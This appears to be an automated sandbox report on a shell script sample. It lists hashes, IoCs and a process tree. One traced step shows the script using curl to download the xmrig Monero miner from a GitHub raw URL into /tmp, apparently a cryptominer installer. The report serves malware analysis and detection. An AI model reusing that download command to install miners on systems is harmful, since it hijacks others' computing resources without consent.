d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd

Analysis

max time kernel
300s
max time network
897s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
01/07/2024, 11:34

Target
script.sh
Size 8KB
Sample240701-npvressepp
SHA256 d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd
MD5 97423634cc1762b2f010cb860e7fb47d
SHA1 2f50775e8fe9ab98a80f06d835c5874091bf0b3e
SHA512 bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f
SSDEEP 192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd
MD5 SHA1 SHA512 SSDEEP

Score

6^/10

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

flow	ioc
1	raw.githubusercontent.com
2	raw.githubusercontent.com

/tmp/script.sh
/tmp/script.sh
1⤵
PID:1498
- /usr/bin/cut
  cut -f1 -d.
  2⤵
  PID:1501
- /usr/bin/nproc
  nproc
  2⤵
  PID:1502
- /usr/bin/bc
  bc -l
  2⤵
  PID:1505
- /usr/bin/curl
  curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
  2⤵
  PID:1506

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

Exfiltration

Impact